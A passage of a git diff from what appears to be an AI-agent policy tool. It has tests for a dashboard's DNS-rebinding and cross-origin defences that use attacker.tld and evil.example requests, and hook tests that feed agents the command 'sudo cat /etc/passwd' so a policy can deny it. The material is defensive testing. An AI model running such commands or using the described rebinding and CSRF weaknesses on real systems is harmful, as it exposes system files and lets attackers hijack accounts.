process.env.FAILPROOFAI_DASHBOARD_HOST; + +beforeEach(() => { + // The launcher exports this; default the tests to the shipped posture. + process.env.FAILPROOFAI_DASHBOARD_HOST = "127.0.0.1"; + vi.spyOn(console, "warn").mockImplementation(() => {}); +}); + +afterEach(() => { + if (ORIGINAL === undefined) delete process.env.FAILPROOFAI_DASHBOARD_HOST; + else process.env.FAILPROOFAI_DASHBOARD_HOST = ORIGINAL; + vi.restoreAllMocks(); +}); + +/** Build a request the way a browser would, with explicit Host/Origin control. */ +function req( + url: string, + opts: { method?: string; host?: string | null; origin?: string | null; extra?: Record } = {}, +): NextRequest { + const headers = new Headers(); + if (opts.host !== null) headers.set("host", opts.host ?? "localhost:8020"); + if (opts.origin) headers.set("origin", opts.origin); + for (const [k, v] of Object.entries(opts.extra ?? {})) headers.set(k, v); + return new NextRequest(new URL(url), { method: opts.method ?? "GET", headers }); +} + +describe("host pinning — the DNS-rebinding defence", () => { + it("REFUSES a rebound request whose Host is the attacker's domain", async () => { + // The rebinding attack in full: attacker.tld resolves to 127.0.0.1 on the + // second lookup, so the request lands on our loopback socket. Origin and + // Host agree, which is exactly why every framework same-origin check — + // including Next's `originHost !== host.value` — waves it through. Only + // pinning Host to loopback catches it. A loopback BIND does not: rebinding + // targets 127.0.0.1 on purpose. + const res = await proxy( + req("http://attacker.tld:8020/api/auth/login-verify", { + method: "POST", + host: "attacker.tld:8020", + origin: "http://attacker.tld:8020", + }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES a rebound GET, which is how transcripts would be read", async () => { + const res = await proxy( + req("http://attacker.tld:8020/api/download/proj/sess", { host: "attacker.tld:8020" }), + ); + expect(res.status).toBe(403); + }); + + it("allows every loopback spelling", async () => { + for (const host of ["localhost:8020", "127.0.0.1:8020", "[::1]:8020", "127.0.0.2:8020"]) { + const res = await proxy(req(`http://${host}/policies`, { host })); + expect(res.status, host).not.toBe(403); + } + }); + + it("REFUSES a request with no Host header at all", async () => { + expect((await proxy(req("http://localhost:8020/policies", { host: null }))).status).toBe(403); + }); + + it("stops pinning Host when the operator deliberately bound a routable address", async () => { + // Opting into --host 0.0.0.0 is accepting reachability; we cannot know which + // Host such an operator intends to answer to, so the pin would only break + // the setup they asked for. + process.env.FAILPROOFAI_DASHBOARD_HOST = "0.0.0.0"; + const res = await proxy(req("http://192.168.1.5:8020/policies", { host: "192.168.1.5:8020" })); + expect(res.status).not.toBe(403); + }); +}); + +describe("origin checking — the ordinary drive-by defence", () => { + it("REFUSES the cross-origin POST that grafts an attacker's account (C1)", async () => { + // login-verify is unauthenticated and never checks the email relates to an + // existing session, and req.json() ignores Content-Type — so this is a CORS + // *simple* request: no preflight, the side effect lands, and the attacker + // never needs to read the response. Whoever owns auth.json receives every + // future audit report. + const res = await proxy( + req("http://localhost:8020/api/auth/login-verify", { + method: "POST", + origin: "https://evil.example", + }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES the cross-origin mail-sending primitive (C2)", async () => { + const res = await proxy( + req("http://localhost:8020/api/auth/login-request", { + method: "POST", + origin: "https://evil.example", + }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES a cross-origin server action, which could uninstall every hook (C3)", async () => { + // removeHooksWebAction("all") strips failproofai out of ~/.claude/settings.json, + // .codex/hooks.json, ~/.hermes/config.yaml and the rest. Next's own check + // covers this one, but defence in depth is the point: this must not depend + // on a framework internal we do not control. + const res = await proxy( + req("http://localhost:8020/policies", { method: "POST", origin: "https://evil.example" }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES another app on a different local port", async () => { + // Same hostname, different authority. A local dev server on :3000 is a + // different origin and has no business mutating this one. + const res = await proxy( + req("http://localhost:8020/api/audit/run", { method: "POST", origin: "http://localhost:3000" }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES an opaque 'null' Origin", async () => { + // Sandboxed iframes and some redirect chains send literally "null"; it must + // not parse into something permissive. + const res = await proxy( + req("http://localhost:8020/api/audit/run", { method: "POST", origin: "null" }), + ); + expect(res.status).toBe(403); + }); + + it("ALLOWS the dashboard's own same-origin POST", async () => { + const res = await proxy( + req("http://localhost:8020/api/audit/run", { + method: "POST", + origin: "http://localhost:8020", + }), + ); + expect(res.status).not.toBe(403); + }); + + it("does not origin-check safe methods", async () => { + // A cross-origin GET cannot read the response without CORS headers, which + // are never sent, so blocking it would cost compatibility for no gain. + const res = await proxy( + req("http://localhost:8020/policies", { origin: "https://evil.example" }), + ); + expect(res.status).not.toBe(403); + }); + + it("ALLOWS an origin-less mutating request (a local non-browser caller)", async () => { + // curl and friends. With a loopback bind this is necessarily a local + // process, which can already rewrite these files directly — refusing it + // would buy nothing and break scripted use. + const res = await proxy(req("http://localhost:8020/api/audit/run", { method: "POST" })); + expect(res.status).not.toBe(403); + }); + + // The exemption above is entirely an argument about the BIND address, and it + // used to be applied unconditionally. On a deliberate non-loopback bind all + // three layers were then off at once: layer 1 by the operator's choice, layer + // 2 because the Host pin is skipped for exactly that case (see the test + // above), and layer 3 because no Origin is the default for curl and every + // other non-browser client. Any host on the segment could reach every + // mutating route. + describe("on a deliberately non-loopback bind", () => { + beforeEach(() => { + process.env.FAILPROOFAI_DASHBOARD_HOST = "0.0.0.0"; + }); + + it("REFUSES an origin-less POST — it is no longer necessarily local", async () => { + const res = await proxy( + req("http://192.168.1.5:8020/api/audit/run", { method: "POST", host: "192.168.1.5:8020" }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES the origin-less token graft the lockdown suite exists to stop", async () => { + // login-verify is unauthenticated and writes auth.json — whoever lands + // there receives every future audit report. + const res = await proxy( + req("http://192.168.1.5:8020/api/auth/login-verify", { + method: "POST", + host: "192.168.1.5:8020", + }), + ); + expect(res.status).toBe(403); + }); + + it("REFUSES an origin-less hook uninstall", async () => { + const res = await proxy( + req("http://192.168.1.5:8020/policies", { method: "POST", host: "192.168.1.5:8020" }), + ); + expect(res.status).toBe(403); + }); + + it("still allows a same-origin mutating request, so the bind stays usable", async () => { + // The point is to require a real same-origin claim, not to break the + // container/remote-dev-box setup the operator deliberately asked for. + const res = await proxy( + req("http://192.168.1.5:8020/policies", { + method: "POST", + host: "192.168.1.5:8020", + origin: "http://192.168.1.5:8020", + }), + ); + expect(res.status).not.toBe(403); + }); + + it("still allows origin-less READS — only mutating methods are gated", async () => { + const res = await proxy(req("http://192.168.1.5:8020/policies", { host: "192.168.1.5:8020" })); + expect(res.status).not.toBe(403); + }); + }); +}); + +describe("x-forwarded-host is stripped", () => { + it("removes the header before it reaches framework code that trusts it", async () => { + // Next resolves the request Host preferring x-forwarded-host, so a caller + // able to set headers could otherwise satisfy the action handler's origin + // comparison against a value it supplied itself. Nothing proxies this + // server, so the header is never legitimate here. + const res = await proxy( + req("http://localhost:8020/policies", { extra: { "x-forwarded-host": "evil.example" } }), + ); + expect(res.status).not.toBe(403); + expect(res.headers.get("x-middleware-override-headers") ?? "").not.toContain("x-forwarded-host"); + }); +}); + +describe("dashboard-host helpers", () => { + it("defaults to loopback, never the wildcard", () => { + expect(DEFAULT_DASHBOARD_HOST).toBe("127.0.0.1"); + expect(resolveDashboardHost(undefined, undefined)).toBe("127.0.0.1"); + expect(isLoopbackHostname(DEFAULT_DASHBOARD_HOST)).toBe(true); + }); + + it("prefers the flag, then the env, then the default", () => { + expect(resolveDashboardHost("0.0.0.0", "10.0.0.1")).toBe("0.0.0.0"); + expect(resolveDashboardHost(undefined, "10.0.0.1")).toBe("10.0.0.1"); + expect(resolveDashboardHost(" ", undefined)).toBe("127.0.0.1"); + }); + + it("classifies loopback correctly, including the whole 127/8 block", () => { + for (const h of ["localhost", "LOCALHOST", "127.0.0.1", "127.13.9.2", "::1", "[::1]"]) { + expect(isLoopbackHostname(h), h).toBe(true); + } + for (const h of ["0.0.0.0", "192.168.1.5", "evil.example", "127.0.0.1.evil.com", "", "10.0.0.1"]) { + expect(isLoopbackHostname(h), h).toBe(false); + } + }); + + it("splits the port off a Host header, including bracketed IPv6", () => { + expect(hostnameFromHostHeader("localhost:8020")).toBe("localhost"); + expect(hostnameFromHostHeader("localhost")).toBe("localhost"); + expect(hostnameFromHostHeader("[::1]:8020")).toBe("[::1]"); + expect(hostnameFromHostHeader("[::1]")).toBe("[::1]"); + }); + + it("extracts an Origin hostname and refuses junk", () => { + expect(hostnameFromOrigin("http://localhost:8020")).toBe("localhost"); + expect(hostnameFromOrigin("http://[::1]:8020")).toBe("[::1]"); + expect(hostnameFromOrigin("null")).toBeNull(); + expect(hostnameFromOrigin("")).toBeNull(); + expect(hostnameFromOrigin("not a url")).toBeNull(); + }); +}); diff --git a/__tests__/e2e/cli/cli-args.e2e.test.ts b/__tests__/e2e/cli/cli-args.e2e.test.ts index 7cf22574..615f607e 100644 --- a/__tests__/e2e/cli/cli-args.e2e.test.ts +++ b/__tests__/e2e/cli/cli-args.e2e.test.ts @@ -74,9 +74,35 @@ describe("top-level: unknown command", () => { assertCleanError(result, "Unknown command: unknowncommand"); }); - it("suggests failproofai policies for unknown subcommand", () => { + it("always offers a runnable suggestion for an unknown subcommand", () => { + // Deliberately NOT pinned to a specific word. "unknowncommand" is a typo of + // nothing, so which subcommand comes out nearest is an artefact of the + // command LIST, not a contract: it read "policies" only because three names + // tied at distance 12 and `SUBCOMMANDS[0]` broke the tie. Adding + // `uninstall` (distance 10) changed the winner without changing any + // behaviour anyone relies on. The contract is that a suggestion is offered + // and names a real subcommand; the nearest-match behaviour itself is + // covered by the tests below, which use inputs that ARE typos of something. const result = runCli("unknowncommand"); - expect(result.stderr).toContain("failproofai policies"); + const match = /Did you mean: failproofai (\S+)\?/.exec(result.stderr); + expect(match).not.toBeNull(); + expect(["policies", "policy", "audit", "config", "uninstall"]).toContain(match![1]); + }); + + it("suggests the NEAREST subcommand, not a hardcoded one", () => { + // The suggestion was the literal string "policies" for every input, which + // was right only when the typo happened to be a typo of that word. + expect(runCli("confg").stderr).toContain("failproofai config"); + expect(runCli("audits").stderr).toContain("failproofai audit"); + }); + + it("points a stale `auth` at audit rather than somewhere unrelated", () => { + // `auth` was a real subcommand until it was removed, so an old script or + // plain muscle memory lands here. It must not be answered with the one + // command that has nothing to do with what was typed. + const result = runCli("auth", "login"); + assertCleanError(result, "Unknown command: auth"); + expect(result.stderr).toContain("failproofai audit"); }); }); diff --git a/__tests__/e2e/helpers/fixture-env.ts b/__tests__/e2e/helpers/fixture-env.ts index 759e5ab3..a1b0a008 100644 --- a/__tests__/e2e/helpers/fixture-env.ts +++ b/__tests__/e2e/helpers/fixture-env.ts @@ -8,9 +8,10 @@ * Cleanup is registered via afterEach() automatically. */ import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import { tmpdir } from "node:os"; import { afterEach } from "vitest"; +import { customPoliciesDir, globalPolicyConfigFile } from "../../../src/hooks/fp-home"; export interface FixtureEnv { /** Pass as payload.cwd — policies-config.json is resolved relative to this. */ @@ -60,9 +61,11 @@ export function createFixtureEnv(): FixtureEnv { let configPath: string; if (scope === "global") { - const dir = join(home, ".failproofai"); - mkdirSync(dir, { recursive: true }); - configPath = join(dir, "policies-config.json"); + // Layout 2 nests the GLOBAL config under policies/local-policies/. + // Project scope is deliberately unchanged — those files are committed + // to users' repos — which is why only this branch moves. + configPath = globalPolicyConfigFile(home); + mkdirSync(dirname(configPath), { recursive: true }); } else { const dir = join(cwd, ".failproofai"); mkdirSync(dir, { recursive: true }); @@ -82,8 +85,11 @@ export function createFixtureEnv(): FixtureEnv { }, writePolicyFile(filename: string, content: string, scope: "project" | "global" = "project"): string { - const base = scope === "global" ? home : cwd; - const dir = join(base, ".failproofai", "policies"); + // Global convention policies moved to policies/custom-policies/ so they + // no longer share a directory with cloud artifacts and the builtin set. + // Project scope keeps .failproofai/policies/ exactly as before. + const dir = + scope === "global" ? customPoliciesDir(home) : join(cwd, ".failproofai", "policies"); mkdirSync(dir, { recursive: true }); const filePath = join(dir, filename); writeFileSync(filePath, content, "utf8"); diff --git a/__tests__/e2e/hooks/antigravity-integration.e2e.test.ts b/__tests__/e2e/hooks/antigravity-integration.e2e.test.ts index 313a8300..45dde1e0 100644 --- a/__tests__/e2e/hooks/antigravity-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/antigravity-integration.e2e.test.ts @@ -25,6 +25,7 @@ import { } from "../helpers/hook-runner"; import { AntigravityPayloads } from "../helpers/payloads"; import { createFixtureEnv } from "../helpers/fixture-env"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -147,7 +148,7 @@ describe("E2E: Antigravity integration — hook protocol", () => { AntigravityPayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "antigravity" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index f3b573dd..33311a69 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -20,6 +20,7 @@ import { assertPermissionRequestDeny, } from "../helpers/hook-runner"; import { CodexPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -154,7 +155,7 @@ describe("E2E: Codex integration — hook protocol", () => { { homeDir: env.home, cli: "codex" }, ); // Activity store path resolves against $HOME → env.home/.failproofai/cache/hook-activity/current.jsonl - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/copilot-integration.e2e.test.ts b/__tests__/e2e/hooks/copilot-integration.e2e.test.ts index 51cb3053..3f0d9ece 100644 --- a/__tests__/e2e/hooks/copilot-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/copilot-integration.e2e.test.ts @@ -19,6 +19,7 @@ import { assertCopilotStopBlock, } from "../helpers/hook-runner"; import { CopilotPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -145,7 +146,7 @@ describe("E2E: Copilot integration — hook protocol", () => { CopilotPayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "copilot" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/cursor-integration.e2e.test.ts b/__tests__/e2e/hooks/cursor-integration.e2e.test.ts index e6c1faec..af05890c 100644 --- a/__tests__/e2e/hooks/cursor-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/cursor-integration.e2e.test.ts @@ -18,6 +18,7 @@ import { assertCursorStopBlock, } from "../helpers/hook-runner"; import { CursorPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -122,7 +123,7 @@ describe("E2E: Cursor integration — hook protocol", () => { CursorPayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "cursor" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; @@ -148,7 +149,7 @@ describe("E2E: Cursor integration — hook protocol", () => { ); assertAllow(result); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; @@ -173,7 +174,7 @@ describe("E2E: Cursor integration — hook protocol", () => { ); assertAllow(result); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; @@ -237,7 +238,7 @@ describe("E2E: Cursor integration — hook protocol", () => { ); assertAllow(result); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/devin-integration.e2e.test.ts b/__tests__/e2e/hooks/devin-integration.e2e.test.ts index a5b59f83..31bd38b6 100644 --- a/__tests__/e2e/hooks/devin-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/devin-integration.e2e.test.ts @@ -23,6 +23,7 @@ import { assertDevinStopBlock, } from "../helpers/hook-runner"; import { DevinPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -123,7 +124,7 @@ describe("E2E: Devin integration — hook protocol", () => { DevinPayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "devin" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/factory-integration.e2e.test.ts b/__tests__/e2e/hooks/factory-integration.e2e.test.ts index 9986f308..14488867 100644 --- a/__tests__/e2e/hooks/factory-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/factory-integration.e2e.test.ts @@ -22,6 +22,7 @@ import { assertFactoryStopBlock, } from "../helpers/hook-runner"; import { FactoryPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -141,7 +142,7 @@ describe("E2E: Factory integration — hook protocol", () => { FactoryPayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "factory" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/goose-integration.e2e.test.ts b/__tests__/e2e/hooks/goose-integration.e2e.test.ts index b895a0ef..96b2eb4b 100644 --- a/__tests__/e2e/hooks/goose-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/goose-integration.e2e.test.ts @@ -18,6 +18,7 @@ import { join, resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; import { runHook, assertAllow, assertGooseDeny } from "../helpers/hook-runner"; import { GoosePayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -115,7 +116,7 @@ describe("E2E: Goose integration — hook protocol", () => { GoosePayloads.preToolUse.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "goose" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/hooks/opencode-integration.e2e.test.ts b/__tests__/e2e/hooks/opencode-integration.e2e.test.ts index 99d9fc56..85b58327 100644 --- a/__tests__/e2e/hooks/opencode-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/opencode-integration.e2e.test.ts @@ -31,6 +31,7 @@ import { } from "../helpers/hook-runner"; import { OpenCodePayloads } from "../helpers/payloads"; import { FAILPROOFAI_HOOK_MARKER } from "../../../src/hooks/types"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -293,7 +294,7 @@ describe("E2E: OpenCode integration — hook protocol", () => { // homedir(), and the test's runHook overrides HOME=env.home). // Fail explicitly if missing so an OpenCode activity-tagging regression // can't silently slip through with a no-op assertion. - const logPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const logPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(logPath)).toBe(true); const lines = readFileSync(logPath, "utf8").trim().split("\n").filter(Boolean); const entries = lines.map((l) => JSON.parse(l)); diff --git a/__tests__/e2e/hooks/pi-integration.e2e.test.ts b/__tests__/e2e/hooks/pi-integration.e2e.test.ts index 015b1f7d..19c358e1 100644 --- a/__tests__/e2e/hooks/pi-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/pi-integration.e2e.test.ts @@ -27,6 +27,7 @@ import { assertPiAllow, } from "../helpers/hook-runner"; import { PiPayloads } from "../helpers/payloads"; +import { hookActivityDir } from "../../../src/hooks/fp-home"; const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), "../../.."); const BINARY_PATH = resolve(REPO_ROOT, "bin/failproofai.mjs"); @@ -291,7 +292,7 @@ describe("E2E: Pi integration — hook protocol (handler-only)", () => { PiPayloads.toolCall.bash("sudo cat /etc/passwd", env.cwd), { homeDir: env.home, cli: "pi" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; @@ -313,7 +314,7 @@ describe("E2E: Pi integration — hook protocol (handler-only)", () => { PiPayloads.sessionStart(env.cwd), { homeDir: env.home, cli: "pi" }, ); - const activityPath = resolve(env.home, ".failproofai", "cache", "hook-activity", "current.jsonl"); + const activityPath = resolve(hookActivityDir(env.home), "current.jsonl"); expect(existsSync(activityPath)).toBe(true); const lines = readFileSync(activityPath, "utf-8").trim().split("\n").filter(Boolean); const last = JSON.parse(lines[lines.length - 1]) as Record; diff --git a/__tests__/e2e/layout/README.md b/__tests__/e2e/layout/README.md new file mode 100644 index 00000000..8ec809f6 --- /dev/null +++ b/__tests__/e2e/layout/README.md @@ -0,0 +1,59 @@ +# Layout-2 end-to-end harnesses + +Three shell harnesses that exercise the real thing rather than a mock. They are +not run by `bun run test:e2e` — each needs infrastructure the unit suite must +not depend on — so they are invoked deliberately. + +| Script | Needs | Covers | +|---|---|---| +| `layout-reset.sh` | nothing | fresh/stale/future layout detection, reset semantics, OSS silence, hook warn-don't-delete-don't-deny | +| `cloud-collector.sh` | an AgentEye stack | real connect against a live server, daemon + collector writing layout-2 paths, decisions reaching ClickHouse, disconnect back to OSS | +| `systemd-service.sh` | Docker | REAL `systemctl enable --now` as root in a privileged container: service lifecycle, fail-closed, self-heal, reinstall | + +`systemd-service.sh` exists because the service half cannot be tested on a +developer machine without a password prompt, and a container gives real systemd +and real root with neither. + +Two things it caught that a mock could not: + +- `Environment=` in a systemd unit **splits on whitespace unless quoted**. The + product quotes it (`daemon-service.ts`); a hand-written unit in the harness + did not, the worker never started, and every request silently fell through to + the fail-closed path. +- The fail-closed denial and a real policy denial both contain + `permissionDecision":"deny"`, so a check for that string passes when the + daemon is completely unreachable. Assertions here match on the policy's own + reason text instead. + +## Running + +```sh +bash __tests__/e2e/layout/layout-reset.sh +bash __tests__/e2e/layout/systemd-service.sh + +# cloud-collector.sh expects the stack on the remapped ports (18080/18123) so it +# can run alongside an existing project rather than displacing it: +docker compose -p aefpai -f docker-compose.yml -f ports.yml up -d +bash __tests__/e2e/layout/cloud-collector.sh + +# cloud-pairing.sh expects the stack on its STANDARD ports (8080/8123) and five +# API keys minted in the local database — see the header of the script. +bash __tests__/e2e/layout/cloud-pairing.sh +``` + +## cloud-pairing.sh + +Pairs a machine with a live AgentEye deployment and walks the whole chain in one +pass: `/v1/auth/introspect` on five keys with different permission sets, the +enrolment each one is and is not allowed to write, publishing and deploying a +cloud-managed policy, the daemon pulling and hash-verifying it, that policy +denying a real hook call, the same policy redeployed as `observe` allowing the +same call while recording the verdict it discarded, and both records arriving in +ClickHouse. + +It is the regression test for four daemon bugs that each looked like a working +system from one side: the daemon and the CLI binding different sockets under +`FAILPROOFAI_HOME` (a healthy daemon denying every call), pulled policies landing +in layout 1's `policies/cloud-managed` where the CLI never reads, and the daemon +looking for the enrolment in `cloud.json` after layout 2 moved it into +`credentials.toml`. diff --git a/__tests__/e2e/layout/cloud-collector.sh b/__tests__/e2e/layout/cloud-collector.sh new file mode 100755 index 00000000..9174da6e --- /dev/null +++ b/__tests__/e2e/layout/cloud-collector.sh @@ -0,0 +1,101 @@ +#!/usr/bin/env bash +# E2E pass 2 — the real cloud path against the freshly built stack, plus a live +# daemon + collector writing into the layout-2 directories. +set -uo pipefail +REPO=/home/sidd/Desktop/work-failproofai/failproofai +CLI="node $REPO/dist/cli.mjs" +API=http://localhost:18080 +CH=http://localhost:18123 +KEY=dev-admin-key +H=/tmp/fpai-c # short: the daemon socket must fit in SUN_LEN +PASS=0; FAIL=0 +ok(){ PASS=$((PASS+1)); printf ' \033[32mPASS\033[0m %s\n' "$1"; } +bad(){ FAIL=$((FAIL+1)); printf ' \033[31mFAIL\033[0m %s\n %s\n' "$1" "${2:-}"; } +check(){ if [ "$2" = "$3" ]; then ok "$1"; else bad "$1" "expected [$3] got [$2]"; fi; } +has(){ if printf '%s' "$2" | grep -q "$3"; then ok "$1"; else bad "$1" "missing [$3] in: $(printf '%s' "$2"|head -c 200)"; fi; } +hasnt(){ if printf '%s' "$2" | grep -q "$3"; then bad "$1" "unexpected [$3]"; else ok "$1"; fi; } + +pkill -f "$H/run" 2>/dev/null; rm -rf "$H"; mkdir -p "$H/home" "$H/proj/.failproofai" +export FAILPROOFAI_HOME="$H/home" +export FAILPROOFAI_NO_FIRST_RUN=1 + +printf '\n=== 1. CONNECT: both capabilities verified against the real server ===\n' +OUT=$($CLI config --connect "$API" --token "$KEY" --send-transcripts 2>&1); RC=$? +has "reports a full connection" "$OUT" "Connected to" +check "exit 0 when policy enrolment succeeds" "$RC" "0" +check "credentials.toml written" "$([ -f "$H/home/credentials.toml" ] && echo y || echo n)" "y" +check "credentials are 0600" "$(stat -c '%a' "$H/home/credentials.toml")" "600" +has "mode flipped to cloud" "$(cat "$H/home/config.toml")" 'kind = "cloud"' +hasnt "token never lands in config.toml" "$(cat "$H/home/config.toml")" "$KEY" +has "both tables present" "$(cat "$H/home/credentials.toml")" "\[cloud\]" +has "ingest table present" "$(cat "$H/home/credentials.toml")" "\[ingest\]" +has "transcripts opted in" "$(cat "$H/home/config.toml")" "sessions = true" + +printf '\n=== 2. DAEMON: starts, reads layout-2 config, enables the collector ===\n' +mkdir -p "$H/home/policies/local-policies" +printf '{"enabledPolicies":["block-sudo"]}' > "$H/home/policies/local-policies/policies-config.json" +mkdir -p "$H/run"; chmod 700 "$H/run" +FAILPROOFAI_DAEMON_SOCKET="$H/run/d.sock" \ +FAILPROOFAI_HOME="$H/home" \ +FAILPROOFAI_WORKER_CMD="node $REPO/dist/worker.mjs" \ +RUST_LOG=info "$REPO/target/release/failproofaid" > "$H/daemon.log" 2>&1 & +DPID=$! +sleep 10 +check "daemon alive" "$(kill -0 $DPID 2>/dev/null && echo y || echo n)" "y" +LOG=$(cat "$H/daemon.log") +has "collector enabled from config.toml" "$LOG" "collector enabled" +has "sessions=true read from TOML" "$LOG" "sessions=true" +has "ingest URL read from credentials.toml" "$LOG" "$API/events" +has "cloud policy polling ON (credentials found)" "$LOG" "cloud" + +printf '\n=== 3. COLLECTOR WRITES INTO LAYOUT 2, NOT THE OLD PATHS ===\n' +sleep 12 +check 